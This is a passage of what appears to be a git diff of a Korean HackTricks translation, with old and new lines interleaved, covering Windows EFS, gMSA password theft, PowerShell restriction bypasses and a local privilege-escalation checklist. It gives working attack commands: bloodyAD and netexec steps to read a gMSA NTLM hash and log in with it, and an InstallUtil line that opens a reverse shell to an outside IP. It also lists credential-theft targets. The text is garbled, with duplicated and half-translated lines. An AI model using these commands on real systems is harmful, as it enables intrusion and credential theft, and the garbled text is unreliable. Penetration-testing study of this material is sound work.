- 파일이나 폴더가 [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) 같은 비-EFS 파일 시스템으로 이동될 때 자동으로 복호화됩니다.
- SMB/CIFS 프로토콜을 통해 네트워크로 전송되는 암호화된 파일은 전송 전에 복호화됩니다.
이 암호화 방식은 소유자에게 암호화된 파일에 대한 **투명한 접근**을 허용합니다. 그러나 단순히 소유자의 비밀번호를 변경하고 로그인하는 것만으로는 복호화가 허용되지 않습니다.
이 암호화 방식은 소유자에게 암호화된 파일에 대한 **투명한 접근**을 허용합니다. 다만 소유자의 비밀번호를 변경하고 로그인한다고 해서 자동으로 복호화 권한이 부여되지는 않습니다.
**핵심 요약**:
**요약**:
- EFS는 사용자 공개 키로 암호화된 대칭 FEK를 사용합니다.
- EFS는 대칭 FEK를 사용하며, 이는 사용자의 공개 키로 암호화됩니다.
- 복호화는 FEK에 접근하기 위해 사용자의 개인 키를 사용합니다.
- FAT32로 복사하거나 네트워크 전송 시처럼 특정 조건에서 자동 복호화가 발생합니다.
- 암호화된 파일은 소유자가 추가 조치 없이 접근할 수 있습니다.
- FAT32로 복사하거나 네트워크 전송과 같이 특정 조건에서 자동 복호화가 발생합니다.
- 암호화된 파일은 소유자가 추가 단계 없이 접근할 수 있습니다.
### EFS 정보 확인
경로가 존재하는지 확인하여 **사용자**가 이 **서비스**를 사용했는지 확인하세요: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
서비스가 **사용자**에 의해 **사용되었는지** 확인하려면 이 경로가 존재하는지 확인하세요: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
cipher /c \<file\>를 사용해 파일에 **누가** 접근할 수 있는지 확인할 수 있습니다. 또한 폴더 내에서 `cipher /e``cipher /d`를 사용해 모든 파일을 **암호화** 및 **복호화**할 수 있습니다.
파일에 **누가** 접근 권한을 가지고 있는지 확인하려면 `cipher /c \<file\>`를 사용하세요.
폴더 안에서 `cipher /e``cipher /d`를 사용하면 모든 파일을 **암호화** 및 **복호화**할 수 있습니다.
### EFS 파일 복호화
#### SYSTEM 권한 획득
#### Being Authority System
이 방법은 **피해자 사용자**가 호스트 내에서 **프로세스**를 **실행 중**이어야 합니다. 그런 경우 `meterpreter` 세션을 사용하여 해당 프로세스 토큰을 가장할 수 있습니다(`incognito`의 `impersonate_token`). 또는 단순히 피해자 사용자의 프로세스로 `migrate`할 수도 있습니다.
이 방법은 **피해자 사용자**가 호스트 내에서 **프로세스**를 **실행 중**이어야 합니다. 그런 경우 `meterpreter` 세션을 사용하여 해당 사용자의 프로세스 토큰을 가장할 수 있습니다 (`impersonate_token` from `incognito`). 또는 단순히 사용자의 프로세스로 `migrate`할 수도 있습니다.
#### 사용자의 비밀번호를 알고 있는 경우
#### Knowing the users password
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## 그룹 관리 서비스 계정 (gMSA)
## Group Managed Service Accounts (gMSA)
Microsoft는 IT 인프라에서 서비스 계정 관리를 간소화하기 위해 **Group Managed Service Accounts (gMSA)**를 개발했습니다. 종종 "**Password never expire**" 설정이 활성화된 기존 서비스 계정과 달리, gMSA는 더 안전하고 관리하기 쉬운 솔루션을 제공합니다:
Microsoft는 IT 인프라에서 서비스 계정 관리를 단순화하기 위해 **Group Managed Service Accounts (gMSA)**를 개발했습니다. 흔히 "**Password never expire**" 설정이 사용되는 전통적인 서비스 계정과 달리, gMSA는 더 안전하고 관리하기 쉬운 솔루션을 제공합니다:
- **Automatic Password Management**: gMSA는 복잡한 240자 길이의 비밀번호를 사용하며 도메인 또는 컴퓨터 정책에 따라 자동으로 변경됩니다. 이 프로세스는 Microsoft's Key Distribution Service (KDC)가 처리하므로 수동으로 비밀번호를 갱신할 필요가 없습니다.
- **Enhanced Security**: 이 계정들은 잠금에 영향을 받지 않으며 대화형 로그인(interactive logins)에 사용할 수 없어 보안이 향상됩니다.
- **Multiple Host Support**: gMSA는 여러 호스트에 걸쳐 공유될 수 있어 여러 서버에서 실행되는 서비스에 적합합니다.
- **Scheduled Task Capability**: managed service accounts와 달리 gMSA는 예약 작업(scheduled tasks)을 실행할 수 있습니다.
- **Simplified SPN Management**: 컴퓨터의 sAMaccount 세부사항이나 DNS 이름이 변경되면 시스템이 Service Principal Name (SPN)을 자동으로 업데이트하여 SPN 관리를 단순화합니다.
- **자동 비밀번호 관리**: gMSA는 복잡한 240자 비밀번호를 사용하며 도메인 또는 컴퓨터 정책에 따라 자동으로 변경됩니다. 이 과정은 Microsoft의 Key Distribution Service (KDC)가 처리하여 수동으로 비밀번호를 갱신할 필요를 제거합니다.
- **향상된 보안**: 이 계정들은 잠금에 영향을 받지 않으며 대화형 로그인에 사용할 수 없으므로 보안이 향상됩니다.
- **다중 호스트 지원**: gMSA는 여러 호스트에서 공유될 수 있어 다수의 서버에서 실행되는 서비스에 적합합니다.
- **예약 작업 기능**: managed service accounts와 달리 gMSA는 scheduled tasks 실행을 지원합니다.
- **SPN 관리 단순화**: 컴퓨터의 sAMAccount 속성이나 DNS 이름이 변경될 때 시스템이 자동으로 Service Principal Name (SPN)을 업데이트하여 SPN 관리를 간소화합니다.
gMSA의 비밀번호는 LDAP 속성 _**msDS-ManagedPassword**_에 저장되며 도메인 컨트롤러(DC)가 30일마다 자동으로 재설정합니다. 이 비밀번호는 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)로 알려진 암호화된 데이터 블롭이며, 권한 있는 관리자와 gMSA가 설치된 서버에서만 검색할 수 있어 안전한 환경을 보장합니다. 이 정보를 액세스하려면 LDAPS와 같은 보안 연결이 필요하거나 연결이 'Sealing & Secure'로 인증되어야 합니다.
gMSA의 비밀번호는 LDAP 속성 _**msDS-ManagedPassword**_에 저장되며 도메인 컨트롤러(DC)에 의해 자동으로 30일마다 재설정됩니다. 이 비밀번호는 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)로 알려진 암호화된 데이터 블롭이며, 권한 있는 관리자와 gMSA가 설치된 서버만 검색할 수 있어 안전한 환경을 보장합니다. 이 정보에 접근하려면 LDAPS와 같은 보안 연결이 필요하거나 연결이 'Sealing & Secure'로 인증되어야 합니다.
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
이 비밀번호는 [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
You can read this password with [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
```
/GMSAPasswordReader --AccountName jkohler
```
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
[**자세한 정보는 이 게시물을 참조하세요**](https://cube0x0.github.io/Relaying-for-gMSA/)
Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
또한, 이 [웹 페이지](https://cube0x0.github.io/Relaying-for-gMSA/)에서 **NTLM relay attack**으로 **gMSA**의 **암호**를 **읽는** 방법을 확인하세요.
### ACL 체이닝을 악용하여 read gMSA managed password (GenericAll -> ReadGMSAPassword)
### ACL chaining을 악용해 gMSA 관리 암호 읽기 (GenericAll -> ReadGMSAPassword)
많은 환경에서, 권한이 낮은 사용자는 잘못 구성된 객체 ACLs를 악용하여 DC를 침해하지 않고 gMSA 비밀로 pivot할 수 있습니다:
많은 환경에서, 낮은 권한의 사용자는 잘못 구성된 객체 ACLs를 악용하여 DC를 침해하지 않고 gMSA 비밀로 전환할 수 있습니다:
- 당신이 제어할 수 있는 그룹(예: GenericAll/GenericWrite를 통해)이 gMSA에 대해 `ReadGMSAPassword` 권한을 부여받습니다.
- 해당 그룹에 자신을 추가하면 LDAP를 통해 gMSA의 `msDS-ManagedPassword` blob을 읽을 권한을 상속받아 사용 가능한 NTLM credentials를 유도할 수 있습니다.
- 제어할 수 있는 그룹(예: GenericAll/GenericWrite를 통해)이 gMSA에 대해 `ReadGMSAPassword` 권한을 부여받습니다.
- 자신을 해당 그룹에 추가하면 LDAP를 통해 gMSA의 `msDS-ManagedPassword` blob을 읽을 권한을 상속받아 사용 가능한 NTLM 자격증명을 도출할 수 있습니다.
일반적인 작업 흐름:
일반적인 워크플로:
1) BloodHound로 경로를 찾고 foothold principals를 Owned로 표시하세요. 다음과 같은 엣지를 찾으세요:
1) BloodHound로 경로를 찾고 foothold principals를 Owned로 표시합니다. 다음과 같은 엣지를 찾아보세요:
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
2) 제어하는 중간 그룹에 자신을 추가하세요 (bloodyAD 예시):
2) 제어하는 중간 그룹에 자신을 추가합니다 (bloodyAD 예시):
```bash
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
```
3) LDAP을 통해 gMSA 관리 비밀번호를 읽고 NTLM 해시를 유도합니다. NetExec은 `msDS-ManagedPassword` 추출과 NTLM으로의 변환을 자동화합니다:
3) LDAP를 통해 gMSA 관리 암호를 읽고 NTLM 해시를 도출합니다. NetExec는 `msDS-ManagedPassword` 추출 및 NTLM으로의 변환을 자동화합니다:
```bash
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
```
4) NTLM hash를 사용해 gMSA로 인증합니다 (no plaintext needed). 계정이 Remote Management Users에 속해 있다면, WinRM이 직접 작동합니다:
4) NTLM 해시를 사용하여 gMSA로 인증합니다 (no plaintext needed). 계정이 Remote Management Users에 있으면 WinRM이 직접 작동합니다:
```bash
# SMB / WinRM as the gMSA using the NT hash
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
```
참고:
- LDAP에서 `msDS-ManagedPassword`를 읽으려면 봉인(sealing)이 필요합니다(예: LDAPS/sign+seal). 도구들이 이를 자동으로 처리합니다.
- gMSAs는 종종 WinRM과 같은 로컬 권한이 부여됩니다; lateral movement를 계획하려면 그룹 멤버십(예: Remote Management Users)을 검증하세요.
- NTLM을 직접 계산하려고 blob만 필요하면, MSDS-MANAGEDPASSWORD_BLOB 구조를 참조하세요.
- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically.
- gMSAs are often granted local rights like WinRM; validate group membership (e.g., Remote Management Users) to plan lateral movement.
- If you only need the blob to compute the NTLM yourself, see MSDS-MANAGEDPASSWORD_BLOB structure.
@ -206,20 +207,20 @@ The **Local Administrator Password Solution (LAPS)**, available for download fro
## PS Constrained Language Mode
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/)는 PowerShell을 효과적으로 사용하기 위해 필요한 많은 기능을 **제한**합니다. 예를 들어 COM objects 차단, 승인된 .NET types만 허용, XAML-based workflows, PowerShell classes 등입니다.
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/)은 PowerShell을 효과적으로 사용하기 위해 필요한 많은 기능을 **제한합니다**, 예를 들어 COM 객체 차단, 승인된 .NET 타입만 허용, XAML 기반 워크플로우, PowerShell 클래스 등.
### **확인**
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### Bypass
### 우회
```bash
#Easy bypass
Powershell -version 2
```
현재 Windows에서는 해당 우회가 작동하지 않지만[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**컴파일하려면** **다음이 필요할 수 있습니다:** _**Add a Reference**_ -> _Browse_ -> _Browse_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 를 추가하고 **프로젝트를 .Net4.5로 변경하세요**.
현재 Windows에서는 해당 Bypass가 작동하지 않지만 [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**컴파일하려면** **다음이 필요할 수 있습니다:** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> add `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` and **change the project to .Net4.5**.
#### 직접 우회:
```bash
@ -229,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass the constrained mode. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 또는 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)을(를) 사용해 모든 프로세스에서 **Powershell** 코드를 실행하고 constrained mode를 우회할 수 있습니다. 자세한 내용은 다음을 확인하세요: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## PS 실행 정책
기본적으로 **restricted**로 설정되어 있습니다. 이 정책을 우회하는 주요 방법:
기본적으로 **restricted.**로 설정되어 있습니다. 이 정책을 우회하는 주요 방법:
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
@ -253,39 +254,39 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
```
More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
자세한 내용은 [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)에서 확인할 수 있습니다.
## Security Support Provider Interface (SSPI)
사용자 인증에 사용할 수 있는 API입니다.
The SSPI will be in charge of finding the adequate protocol for two machines that want to communicate. The preferred method for this is Kerberos. Then the SSPI will negotiate which authentication protocol will be used, these authentication protocols are called Security Support Provider (SSP), are located inside each Windows machine in the form of a DLL and both machines must support the same to be able to communicate.
SSPI는 통신하려는 두 머신에 적절한 프로토콜을 찾는 역할을 합니다. 이때 기본적으로 선호되는 방법은 Kerberos입니다. SSPI는 어떤 인증 프로토콜을 사용할지 협상하며, 이러한 인증 프로토콜을 Security Support Provider(SSP)라고 부릅니다. SSP는 각 Windows 머신 내에 DLL 형태로 존재하며, 통신하려면 양쪽 머신이 동일한 SSP를 지원해야 합니다.
### Main SSPs
- **Kerberos**: 선호되는 방식
- **Kerberos**: The preferred one
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1** and **NTLMv2**: 호환성 때문에
- **NTLMv1** and **NTLMv2**: Compatibility reasons
- %windir%\Windows\System32\msv1_0.dll
- **Digest**: 웹 서버와 LDAP에 사용, 비밀번호가 MD5 해시 형태
- **Digest**: Web servers and LDAP, password in form of a MD5 hash
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL TLS
- **Schannel**: SSL and TLS
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: 사용할 프로토콜을 협상하는 데 사용됨 (Kerberos 또는 NTLM; 기본값은 Kerberos)
- **Negotiate**: It is used to negotiate the protocol to use (Kerberos or NTLM being Kerberos the default one)
- %windir%\Windows\System32\lsasrv.dll
#### The negotiation could offer several methods or only one.
#### 협상은 여러 방법을 제시하거나 단 하나만 제시할 수 있습니다.
## UAC - User Account Control
## UAC - 사용자 계정 컨트롤
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works)는 권한 상승 작업에 대해 **동의 프롬프트**를 표시하는 기능입니다.
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works)은 권한 상승 작업에 대해 **승인 프롬프트를 제공하는** 기능입니다.
{{#ref}}
uac-user-account-control.md
{{#endref}}
## References
## 참고자료
- [Relaying for gMSA cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)

View File

@ -1,54 +1,54 @@
# 체크리스트 - Local Windows Privilege Escalation
# 체크리스트 - 로컬 Windows 권한 상승
{{#include ../banners/hacktricks-training.md}}
### **Windows local privilege escalation 벡터를 찾기 위한 최고의 도구:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Windows 로컬 권한 상승 벡터를 찾기 위한 최고의 도구:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [System Info](windows-local-privilege-escalation/index.html#system-info)
- [ ] [**System information**](windows-local-privilege-escalation/index.html#system-info) 얻기
- [ ] 수집 [**System information**](windows-local-privilege-escalation/index.html#system-info)
- [ ] **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) 검색
- [ ] **Google**로 kernel **exploits** 검색
- [ ] **searchsploit**로 kernel **exploits** 검색
- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment)에 흥미로운 정보가 있는가?
- [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)에 비밀번호가 있는가?
- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)에 흥미로운 정보가 있는가?
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
- [ ] kernel **exploits**를 찾기 위해 **Google** 사용
- [ ] kernel **exploits**를 찾기 위해 **searchsploit** 사용
- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment)에 흥미로운 정보가 있?
- [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)에 비밀번호가 있?
- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)에 흥미로운 정보가 있?
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives) 확인?
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus) 확인?
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) 확인
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated) 사용 가능한가?
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
- [ ] [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) 및 [**WEF** ](windows-local-privilege-escalation/index.html#wef) 설정 확인
- [ ] [**LAPS**](windows-local-privilege-escalation/index.html#laps) 확인
- [ ] [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) 활성화되어 있는가?
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
- [ ] 어떤 [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)가 있는 확인
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) 확인
- [ ] [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) 활성화되어 있는가?
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection) 적용 여부?
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard) 적용 여부(또는 관련 [캐시된 자격증명](windows-local-privilege-escalation/index.html#cached-credentials) 확인)?
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials) 여부?
- [ ] 어떤 [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)가 있는 확인
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy) 확인?
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) 설정 확인
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) 확인
- [ ] 현재 사용자 **privileges** 확인 (권한)
- [ ] [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups) 인?
- [ ] 다음 토큰들 중 활성화된 것이 있는가: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
- [ ] [**users homes**](windows-local-privilege-escalation/index.html#home-folders) 확인 (접근 가능?)
- [ ] 현재 사용자 **privileges** 확인 (windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)인지 인?
- [ ] [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** 가 활성화되어 있는가?
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions) 확인?
- [ ] [**users homes**](windows-local-privilege-escalation/index.html#home-folders) 접근 여부 확인
- [ ] [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) 확인
- [ ] [**Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)에 무엇이 들어있는가?
- [ ] [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)에는 무엇이 있나?
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] 현재 **network information** 확인
- [ ] 외부에 제한된 **hidden local services** 확인
- [ ] 현재 [**network** **information**](windows-local-privilege-escalation/index.html#network) 확인
- [ ] 외부에서 접근이 제한된 숨겨진 로컬 서비스 확인
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
- [ ] Processes binaries의 [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) 확인
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] `ProcDump.exe`를 이용해 **흥미로운 프로세스**에서 자격증명 탈취? (firefox, chrome 등 ...)
- [ ] 프로세스 바이너리의 [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) 확인
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) 확인
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) 확인
- [ ] `ProcDump.exe`을 사용하여 **interesting processes**에서 자격증명 탈취? (firefox, chrome 등 ...)
### [Services](windows-local-privilege-escalation/index.html#services)
@ -59,49 +59,49 @@
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
- [ ] **쓰기** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) 확인
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
- [ ] 설치된 애플리케이션에 대한 [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)**Write** 권한이 있는가?
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) 확인?
- [ ] 취약한 [**Drivers**](windows-local-privilege-escalation/index.html#drivers) 확인
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
- [ ] PATH 내부의 폴더에 쓸 수 있는가?
- [ ] 알려진 서비스 바이너리 중 존재하지 않는 DLL을 로드하려고 하는 것이 있는가?
- [ ] PATH 내부의 어떤 폴더에 쓸 수 있는가?
- [ ] 존재하지 않는 DLL을 로드하려고 시도하는 알려진 서비스 바이너리가 있는가?
- [ ] 어떤 **binaries folder**에 쓸 수 있는가?
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] 네트워크 열거 (shares, interfaces, routes, neighbours, ...) 수행
- [ ] localhost(127.0.0.1)에서 수신 중인 네트워크 서비스에 특히 주의
- [ ] 네트워크 열거 (공유, 인터페이스, 라우트, 이웃, ...)
- [ ] localhost(127.0.0.1)에서 리스닝하는 네트워크 서비스에 특히 주목
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) 자격증명
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) 사용 가능한 자격증명?
- [ ] 흥미로운 [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault)에서 사용할 수 있는 자격증명?
- [ ] 흥미로운 [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi) 여부?
- [ ] 저장된 [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)의 비밀번호?
- [ ] [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)에 흥미로운 정보?
- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)에 비밀번호가 있는가?
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) 비밀번호?
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? 자격증명?
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
- [ ] [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)에 흥미로운 정보가 있나?
- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)에 비밀번호가 있?
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) 비밀번호?
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe) 존재? 자격증명?
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm) 존재? DLL Side Loading?
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry) 확인?
- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)에 비밀번호가 있는가?
- [ ] 어떤 [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) 백업이 있는가?
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) 파일?
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)가 있는가?
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) 파일 확인?
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword) 확인?
- [ ] [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)에 비밀번호가 있는가?
- [ ] [**web logs**](windows-local-privilege-escalation/index.html#logs)에 흥미로운 정보가 있는가?
- [ ] [**web** **logs**](windows-local-privilege-escalation/index.html#logs)에 흥미로운 정보가 있?
- [ ] 사용자에게 [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) 요청할 것인가?
- [ ] [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)에 있는 흥미로운 파일들?
- [ ] 자격증명을 포함한 다른 [**registry**](windows-local-privilege-escalation/index.html#inside-the-registry)?
- [ ] [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) 내부 (dbs, history, bookmarks, ...)?
